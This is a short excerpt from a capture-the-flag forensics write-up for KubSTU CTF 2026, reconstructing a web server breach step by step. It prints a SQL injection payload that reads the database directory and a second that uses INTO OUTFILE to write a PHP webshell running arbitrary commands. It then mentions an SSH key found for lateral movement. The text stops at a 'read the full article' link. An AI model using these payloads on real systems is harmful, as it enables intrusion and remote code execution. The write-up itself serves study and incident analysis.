KubSTU CTF 2026 Writeups: Five Challenges, Saturday

Based on the provided information and analysis of the disk image dumps from both the service (web) server and the database server, we can reconstruct the sequence of events that led to the breach:

Step-by-Step Analysis

1. Initial Access Vulnerability:

The web application is vulnerable to SQL Injection due to improper handling of user input in SQL queries.

2. Exploitation:

• The attacker used a crafted GET request to exploit the SQL injection vulnerability.
• Example payload:

  /index.php?id=1 UNION SELECT 1,@@datadir HTTP/1.1
  

3. Webshell Upload:

• After identifying the database directory and confirming the vulnerability, the attacker used another GET request to upload a PHP webshell (shell.php) via SQL's INTO OUTFILE.
• Example payload:

  /index.php?id=1 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php'
  

4. Lateral Movement:

• The attacker discovered an unencrypted RSA private key (ssh_key_key) in the /home/www-data directory

Read the full article at InfoSec Write-ups - Medium

---

Want to create content about this topic? Use Nemati AI tools to generate articles, social posts, and more.